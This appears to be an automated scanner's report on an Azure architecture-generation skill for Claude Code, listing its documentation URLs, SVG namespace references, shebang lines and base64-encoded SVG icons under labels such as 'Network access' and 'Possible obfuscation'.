|--------|-----|---------| | Azure Updates | https://azure.microsoft.com/en-us/updates/ | Service change awareness | | What's New in Azure | Per-service What's New pages in Docs | Feature change verification | - Network accessline 79
| Azure Updates | https://azure.microsoft.com/en-us/updates/ | Service change awareness |
harness/claude-code/skills/azure-architecture-autopilot/references/bicep-generator.md
- Network accessline 21
**Verification Methods (in priority order): ** 1. Check the MS Docs model availability page: https://learn.microsoft.com/en-us/azure/ai-services/openai/concepts/models - Network accessline 22
1. Check the MS Docs model availability page: https://learn.microsoft.com/en-us/azure/ai-services/openai/concepts/models - Network accessline 48
### Always Fetch (Dynamic) - Network accessline 68
1. **Notify the user **: "This service is outside the v1 default scope. It will be generated on a best-effort basis by referencing MS Docs." 2. **Fetch API version **: Construct the URL in the format `https://learn.microsoft.com/en-us/azure - Network accessline 69
2. **Fetch API version **: Construct the URL in the format `https://learn.microsoft.com/en-us/azure/templates/microsoft.{provider}/{resourceType}` and fetch - Network accessline 70
3. **Identify resource type/required properties **: Confirm the resource type and required properties from the fetched Docs 4. **Verify PE mapping **: Fetch `https://learn.microsoft.com/en-us/azure/private-link/private-endpoint-dns` to conf - Network accessline 71
4. **Verify PE mapping **: Fetch `https://learn.microsoft.com/en-us/azure/private-link/private-endpoint-dns` to confirm groupId/DNS Zone
harness/claude-code/skills/azure-architecture-autopilot/references/phase1-advisor.md
- Network accessline 162
- **`choices` MUST be passed as a string array (`["A", "B"]`) ** — passing as a string (`"A, B"`) will cause an error - If there is a recommended option, place it first and append `(Recommended)` at the end - Include reference information i - Network accessline 163
- If there is a recommended option, place it first and append `(Recommended)` at the end - Include reference information in choices — e.g., `"Standard S1 - Recommended for production. Ref: https://{example-url}"` - **Only 1 question per cal - Network accessline 164
- Include reference information in choices — e.g., `"Standard S1 - Recommended for production. Ref: https://{example-url}"` - Network accessline 183
// 1. SKU question ask_user({ question: "Please select the SKU for AI Search. Ref: https://learn.microsoft.com/en-us/azure/search/search-sku-tier", - Network accessline 184
ask_user({ question: "Please select the SKU for AI Search. Ref: https://learn.microsoft.com/en-us/azure/search/search-sku-tier", choices: [ - Network accessline 185
question: "Please select the SKU for AI Search. Ref: https://learn.microsoft.com/en-us/azure/search/search-sku-tier", - Network accessline 194
// 2. Region question (separate call — only 1 question per call) ask_user({ question: "Please select the Azure region for deployment. Ref: https://learn.microsoft.com/en-us/azure/ai-services/openai/concepts/models", - Network accessline 195
ask_user({ question: "Please select the Azure region for deployment. Ref: https://learn.microsoft.com/en-us/azure/ai-services/openai/concepts/models", choices: [ - Network accessline 196
question: "Please select the Azure region for deployment. Ref: https://learn.microsoft.com/en-us/azure/ai-services/openai/concepts/models", - Network accessline 325
Write-Host "Please install using one of the following methods:" -ForegroundColor Yellow Write-Host " 1. winget install Python.Python.3.12" Write-Host " 2. Download from https://www.python.org/downloads/" - Network accessline 326
Write-Host " 1. winget install Python.Python.3.12" Write-Host " 2. Download from https://www.python.org/downloads/" Write-Host " 3. Search for 'Python 3.12' in the Microsoft Store and install" - Network accessline 327
Write-Host " 2. Download from https://www.python.org/downloads/"
harness/claude-code/skills/azure-architecture-autopilot/references/service-gotchas.md
- Network accessline 59
> > This mapping is complex and subject to change, so always fetch and verify MS Docs when configuring Monitor PE: > https://learn.microsoft.com/en-us/azure/azure-monitor/logs/private-link-configure - Network accessline 61
> https://learn.microsoft.com/en-us/azure/azure-monitor/logs/private-link-configure
harness/claude-code/skills/azure-architecture-autopilot/scripts/cli.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/claude-code/skills/azure-architecture-autopilot/scripts/generator.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 528
<title>{title}</title> <style> @import url('https://fonts.googleapis.com/css2?family=Segoe+UI:wght@400%3B600%3B700&family=Inter:wght@400%3B500%3B600&display=swap'); - Network accessline 529
<style> @import url('https://fonts.googleapis.com/css2?family=Segoe+UI:wght@400%3B600%3B700&family=Inter:wght@400%3B500%3B600&display=swap'); * {{ box-sizing: border-box; margin: 0; padding: 0; }} - Network accessline 530
@import url('https://fonts.googleapis.com/css2?family=Segoe+UI:wght@400%3B600%3B700&family=Inter:wght@400%3B500%3B600&display=swap'); - Network accessline 1139
const vr = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); - Network accessline 1147
const vnetLabel = VNET_INFO ? `Virtual Network (${{VNET_INFO}})` : 'Virtual Network'; const vl = document.createElementNS('http://www.w3.org/2000/svg', 'g'); - Network accessline 1148
const vl = document.createElementNS('http://www.w3.org/2000/svg', 'g'); - Network accessline 1168
if (gb.isPE) {{ // PE group — always draw with dashed style const gr = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); - Network accessline 1169
// PE group — always draw with dashed style const gr = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); gr.setAttribute('x', gb.x); gr.setAttribute('y', gb.y); - Network accessline 1170
const gr = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); - Network accessline 1177
}} else {{ // Service group (category or RG) const gr = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); - Network accessline 1178
// Service group (category or RG) const gr = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); gr.setAttribute('x', gb.x); gr.setAttribute('y', gb.y); - Network accessline 1179
const gr = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); - Network accessline 1190
// Title bar const titleBar = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); - Network accessline 1191
const titleBar = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); - Network accessline 1196
titleBar.setAttribute('opacity', '0.1'); root.appendChild(titleBar); const titleFill = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); - Network accessline 1197
root.appendChild(titleBar); const titleFill = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); titleFill.setAttribute('x', gb.x); titleFill.setAttribute('y', gb.y + GROUP_TITLE_H - 8); - Network accessline 1198
const titleFill = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); - Network accessline 1204
// Color accent line const accent = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); - Network accessline 1205
const accent = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); - Network accessline 1211
// Group label — RG uses resource group name, PE uses "Private Endpoints", category uses category name const label = document.createElementNS('http://www.w3.org/2000/svg', 'text'); - Network accessline 1212
const label = document.createElementNS('http://www.w3.org/2000/svg', 'text'); - Network accessline 1253
const sr = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); - Network accessline 1261
const sl = document.createElementNS('http://www.w3.org/2000/svg', 'text'); - Network accessline 2533
const path = document.createElementNS('http://www.w3.org/2000/svg', 'path'); - Network accessline 2603
const nw = isPe ? PE_W : SVC_W; const nh = isPe ? PE_H : SVC_H; const g = document.createElementNS('http://www.w3.org/2000/svg', 'g'); - Network accessline 2604
const nh = isPe ? PE_H : SVC_H; const g = document.createElementNS('http://www.w3.org/2000/svg', 'g'); g.setAttribute('class', 'node'); - Network accessline 2605
const g = document.createElementNS('http://www.w3.org/2000/svg', 'g'); - Network accessline 2610
// Card background — full clickable area const rect = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); - Network accessline 2611
const rect = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); - Network accessline 2619
// Color accent bar at top const accent = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); - Network accessline 2620
const accent = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); - Network accessline 2630
if (node.icon_data_uri) {{ // Official Azure icon (Base64 image) const iconImg = document.createElementNS('http://www.w3.org/2000/svg', 'image'); - Network accessline 2631
// Official Azure icon (Base64 image) const iconImg = document.createElementNS('http://www.w3.org/2000/svg', 'image'); iconImg.setAttribute('x', iconX); iconImg.setAttribute('y', iconY); - Network accessline 2632
const iconImg = document.createElementNS('http://www.w3.org/2000/svg', 'image'); - Network accessline 2633
iconImg.setAttribute('x', iconX); iconImg.setAttribute('y', iconY); iconImg.setAttribute('width', iconSize); iconImg.setAttribute('height', iconSize); iconImg.setAttributeNS('http://www.w3.org/1999/xlink', 'href', node.icon_data - Network accessline 2634
iconImg.setAttribute('width', iconSize); iconImg.setAttribute('height', iconSize); iconImg.setAttributeNS('http://www.w3.org/1999/xlink', 'href', node.icon_data_uri); g.appendChild(iconImg); - Network accessline 2635
iconImg.setAttributeNS('http://www.w3.org/1999/xlink', 'href', node.icon_data_uri); - Network accessline 2637
}} else {{ // Fallback: built-in SVG text icon const iconG = document.createElementNS('http://www.w3.org/2000/svg', 'svg'); - Network accessline 2638
// Fallback: built-in SVG text icon const iconG = document.createElementNS('http://www.w3.org/2000/svg', 'svg'); iconG.setAttribute('x', iconX); iconG.setAttribute('y', iconY); - Network accessline 2639
const iconG = document.createElementNS('http://www.w3.org/2000/svg', 'svg'); - Network accessline 2647
// Name — extra gap below icon (icon bottom ~50, name baseline at 74 → 24px breathing room) const name = document.createElementNS('http://www.w3.org/2000/svg', 'text'); - Network accessline 2648
const name = document.createElementNS('http://www.w3.org/2000/svg', 'text'); - Network accessline 2658
// SKU label if (!isPe && node.sku) {{ const sku = document.createElementNS('http://www.w3.org/2000/svg', 'text'); - Network accessline 2659
if (!isPe && node.sku) {{ const sku = document.createElementNS('http://www.w3.org/2000/svg', 'text'); sku.setAttribute('x', nw/2); sku.setAttribute('y', 90); - Network accessline 2660
const sku = document.createElementNS('http://www.w3.org/2000/svg', 'text'); - Network accessline 2669
if (isPe && node.details.length > 0) {{ const det = document.createElementNS('http://www.w3.org/2000/svg', 'text'); - Network accessline 2670
const det = document.createElementNS('http://www.w3.org/2000/svg', 'text'); - Network accessline 2697
}}; const typeLabel = TYPE_LABELS[node.type] || node.type; const cat = document.createElementNS('http://www.w3.org/2000/svg', 'text'); - Network accessline 2698
const typeLabel = TYPE_LABELS[node.type] || node.type; const cat = document.createElementNS('http://www.w3.org/2000/svg', 'text'); cat.setAttribute('x', nw/2); cat.setAttribute('y', nh + 14); - Network accessline 2699
const cat = document.createElementNS('http://www.w3.org/2000/svg', 'text'); - Network accessline 2709
// Private badge on card if (node.private && !isPe) {{ const badge = document.createElementNS('http://www.w3.org/2000/svg', 'g'); - Network accessline 2710
if (node.private && !isPe) {{ const badge = document.createElementNS('http://www.w3.org/2000/svg', 'g'); const br = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); - Network accessline 2711
const badge = document.createElementNS('http://www.w3.org/2000/svg', 'g'); - Network accessline 2712
const br = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); - Network accessline 2758
// ── Edge labels (rendered AFTER nodes — always visible on top) ── _edgeLabels.forEach(el => {{ const g = document.createElementNS('http://www.w3.org/2000/svg', 'g'); - Network accessline 2759
_edgeLabels.forEach(el => {{ const g = document.createElementNS('http://www.w3.org/2000/svg', 'g'); g.classList.add('edge-label'); - Network accessline 2760
const g = document.createElementNS('http://www.w3.org/2000/svg', 'g'); - Network accessline 2762
g.setAttribute('data-from', el.from); g.setAttribute('data-to', el.to); const r = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); - Network accessline 2763
g.setAttribute('data-to', el.to); const r = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); r.classList.add('edge-label-bg'); - Network accessline 2764
const r = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); - Network accessline 2765
r.classList.add('edge-label-bg'); const t = document.createElementNS('http://www.w3.org/2000/svg', 'text'); const bw = el.label.length * 6 + 10; - Network accessline 2766
const t = document.createElementNS('http://www.w3.org/2000/svg', 'text');
harness/claude-code/skills/azure-architecture-autopilot/scripts/icons.py
- Executable scriptline 1
Executable file - Possible obfuscationline 7
"b64": "PHN2ZyBpZD0idXVpZC1mY2E5ZmM4YS03ZTg3LTQyOTEtOTU5Ni1jYjg3ODIzMWQzMjMiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxwYXRoIGQ9Ik05LjA4MiwxNC42NzdoMy4zNDVjLjY2MywwLDEuMi0uNTM3 - Possible obfuscationline 12
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImViYWE2NjZmLWQzNGItNDdjNi05ZGQ4LTk1NWNjZTY0MmRkOSIgeDE9IjE0LjQxNSIgeTE9IjEzLjU1NSIgeDI9 - Possible obfuscationline 17
"b64": "PHN2ZyBpZD0idXVpZC0xNzM1MTRmNy1kNmE1LTRkZjctODNhMC04ODMzZjg4NjEzODYiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC1mNjFhNjQxMy1kYTM1 - Possible obfuscationline 22
"b64": "PHN2ZyBpZD0iZjQ1YWI3ODItN2E2ZC00ZjE4LTk0MTYtOGY3OGE0MDg3MTU1IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImY4YTZhNGZjLTllOGQtNDIzYS05N2Qx - Possible obfuscationline 27
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImE0ODUyZTZmLTRlNDgtNDdhNi04Y2I3LWM1NDAxN2M0Mzg5NiIgeDE9IjkuMjgyIiB5MT0iMTIuMDc5IiB4Mj0i - Possible obfuscationline 32
"b64": "PHN2ZyBpZD0iYmNlODM0ZTctZDM3Ni00YzIxLTk3ZTYtYjZjODQwYzMyZGUwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI1YjYwODgyLWFiZGUtNDcwYy1hMGY1 - Possible obfuscationline 37
"b64": "PHN2ZyBpZD0idXVpZC1iZTI1ODQ1Zi1jNjcyLTQ5MmEtYmM1My05NjE0Y2M5YmM3NmYiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC01NzcyZmQyYS03YzM2 - Possible obfuscationline 42
"b64": "PHN2ZyBpZD0idXVpZC02YjgzODBjMy0wZWU1LTRjNDQtOTJhMi1mMTg1YzgyZGI2YmEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC0wNTg3NmM3Mi04ZjI2 - Possible obfuscationline 47
"b64": "PHN2ZyBpZD0idXVpZC1jNmMzZjc1ZS01MzY5LTQ0OGUtYjg5NS0zZjk5ZmIxMWJlYmUiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxwYXRoIGQ9Ik03LjQ1Ni42MDhjLS45MDItLjQxMS0xLjkwOS0uNTU5LTIu - Possible obfuscationline 52
"b64": "PHN2ZyBpZD0idXVpZC1jZDVhOGI0MC00MDRiLTQ2NTAtOGFkNS0zNjE0YWYwMTUyZjkiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxyYWRpYWxHcmFkaWVudCBpZD0idXVpZC1hMmY4NmI4NC05Nzg1 - Possible obfuscationline 57
"b64": "PHN2ZyBpZD0idXVpZC1hOGI5NGNjMS1lNGQ3LTRmMjYtOGZiZS05M2Q3OWM3MTQ3ZTciIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC1iODRiMmM4OS00NjI5 - Possible obfuscationline 62
"b64": "PHN2ZyBpZD0iYTlmNTZiNGUtMmE1MS00NDcxLTk0ODgtZDQ2MTQwOGFlNGViIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImU0ZTFlNDk0LTIxZjEtNGU5Yy1hNmZh - Possible obfuscationline 67
"b64": "PHN2ZyBpZD0iZTBiNGY0NDctZDVhOS00N2UzLTkwZTEtZjIxODRiYjlkMTRhIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImEzZmM1MzkyLTlmNDUtNDczZS1hMmQ0 - Possible obfuscationline 72
"b64": "PHN2ZyBpZD0iYTZkZjkzOTMtMmJkNy00YWM0LWJhMDYtYWI1ZjE2ZmY1OTIzIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImZkNTkxYjM1LTBlMDEtNDYxMC1hMDI1 - Possible obfuscationline 77
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImFiZWM1NDdjLWFiZTYtNDBmZi05NGJiLWM4YWU0OTM2ZDNiYSIgeDE9IjEwLjA4NCIgeTE9IjEuMzA5IiB4Mj0i - Possible obfuscationline 82
"b64": "PHN2ZyBpZD0idXVpZC00MzFhNzU5Yy1hMjlkLTQ2NzgtODllZS01YjFiMjY2NmY4OTAiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC0xMDQ3OGU2OC0xMDA5 - Possible obfuscationline 87
"b64": "PHN2ZyBpZD0iZmUzNjYwOTktYTJiMS00MjZlLWJmMTQtNWZhYzNhZjI2MzNiIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImJkODNmMTY5LTEwNmMtNDg4OC04OTc0 - Possible obfuscationline 92
"b64": "PHN2ZyBpZD0iZjc4ZWYzN2ItZmRlNC00NjFjLTk0ZTItZGNjZmYzMmRkNWQ3IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImJmOGE5NTgzLWFhZTktNDhmZi04N2Q4 - Possible obfuscationline 97
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImZmN2ExYTlmLWUxYTctNDcxYS1iNzZlLTFkMmVhNDNhOGQxMSIgeDE9IjguOTI0IiB5MT0iNzg1LjE0NSIgeDI9 - Possible obfuscationline 102
"b64": "PHN2ZyBpZD0idXVpZC04YzNlZGU0My01NTZkLTRjNjAtYjhlYi1lYTMwMGE5Yzg3NjYiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC1kNmQwMjE2Mi03MDMx - Possible obfuscationline 107
"b64": "PHN2ZyBpZD0iYjYyZmU1M2QtZDEwMi00ODhlLWJlZGYtM2I3YTQ4YWExNGJmIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImJiYWEyNDRkLTdhNzMtNGRlZi1hZTMz - Possible obfuscationline 112
"b64": "PHN2ZyBpZD0iYTc2YTAxMDMtY2UwMy00ZDU4LTg1OWQtNGMyN2UwMjkyNWQyIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImVmZWI4ZTk2LTJhZjAtNDY4MS05YTZh - Possible obfuscationline 117
"b64": "PHN2ZyBpZD0iZjZhNzkxMjYtYTdlZi00MTkwLWIwMWItZTM0YjVjY2I3OTc3IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImVmYzk1ZjU3LTI4YmYtNDFkZS1hMDll - Possible obfuscationline 122
"b64": "PHN2ZyBpZD0iZjM5ZGIwOGYtYzQzMy00YjNlLThkZDktZjViMzJiMGRkMmUyIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImUzYjQ2MmQzLTRjM2MtNDdlOS04Mjdi - Possible obfuscationline 127
"b64": "PHN2ZyBpZD0iZmQzZDhkNGEtNDZlMS00NDA4LWJhMWUtOTEzNWE3ZTM0YzQ5IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImIyNWE2ZWVmLTYzYTEtNDAyOC05ODFm - Possible obfuscationline 132
"b64": "PHN2ZyBpZD0iZmNhMjEwNWYtYzAzOS00ZjM0LWJkNjUtOGFiOTVkNGVjZGI5IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImE3NzNhZjM4LTQzZTQtNGZkMi05NDg1 - Possible obfuscationline 137
"b64": "PHN2ZyBpZD0iYjcwYWNmMGEtMzRiNC00YmRmLTkwMjQtNzQ5NjA0M2ZmOTE1IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48cmFkaWFsR3JhZGllbnQgaWQ9ImUyY2Y4NzQ2LWM5YTgtNGVlZS04NmMy - Possible obfuscationline 142
"b64": "PHN2ZyB3aWR0aD0iMzYiIGhlaWdodD0iMzYiIHZpZXdCb3g9IjAgMCAzNiAzNiIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48ZyBjbGlwLXBhdGg9InVybCgjY2xpcDBfOTE3NV8zNDg0OTgpIj48cGF0aCBkPSJNNi4xMzU5NSAxNi4zMDRDNi4xMzU5NSAyMi4zMzgg - Possible obfuscationline 147
"b64": "PHN2ZyBpZD0idXVpZC0xMjYwOWRhYS02MDhhLTQ5Y2MtYmU3My02OTgwOWYwNThmOGUiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC1jNWI3NzJkMy01NmZi - Possible obfuscationline 152
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI2NDAyOWRjLTUzYjYtNDNiMi04YWFlLTkyNDEzODQ2ZTUxYyIgeTE9IjkiIHgyPSIxOCIgeTI9IjkiIGdyYWRp - Possible obfuscationline 157
"b64": "PHN2ZyBpZD0idXVpZC0yNGQ5MmM3My02YTNkLTRjMWMtYjFkYS1hOWJlYjU4YmIxOGMiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC01NGYxM2I2NC02OGUw - Possible obfuscationline 162
"b64": "PHN2ZyBpZD0iYWNhYzVhMzQtYTAzMi00OWY5LTkzOTctMzdmNGYxYjRhZTlhIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImY2ZDUzOTliLWE1Y2ItNGMwOS05NmNj - Possible obfuscationline 167
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImEyNmM5NDIwLTIyZWEtNDM3ZC05NjNhLWQ5MWEwNzA1MmZlOCIgeDE9IjkiIHkxPSIxNy41IiB4Mj0iOSIgeTI9 - Possible obfuscationline 172
"b64": "PHN2ZyBpZD0iYjZmNmQ5OWUtZjMzMC00ODFkLTgzNmYtZWE1OGNjNDIyMTdmIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48cmFkaWFsR3JhZGllbnQgaWQ9ImE3YTFjNDMxLTZjNmQtNGE4Zi05YTY5 - Possible obfuscationline 177
"b64": "PHN2ZyBpZD0iYTdlNWMyODQtMTNjYy00YWM1LWI4NDItZWNmYjNlN2JiYjczIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImEzZGY3ZDE5LTNkNTQtNGQ4Ni1iN2I4 - Possible obfuscationline 182
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImUzMWE5NWM2LTY3OTgtNDU0OS04NTY2LWRkNzgwODRhZTdiZiIgeDE9IjEwLjY4NiIgeTE9IjAuMTQzIiB4Mj0i - Possible obfuscationline 187
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImYxZDE4ZDc1LWNkYjAtNDA2Ny1iZjg1LTNjMWU2ZDYzY2I5MyIgeDE9IjMuNDIzIiB5MT0iOC40MzgiIHgyPSIx - Possible obfuscationline 192
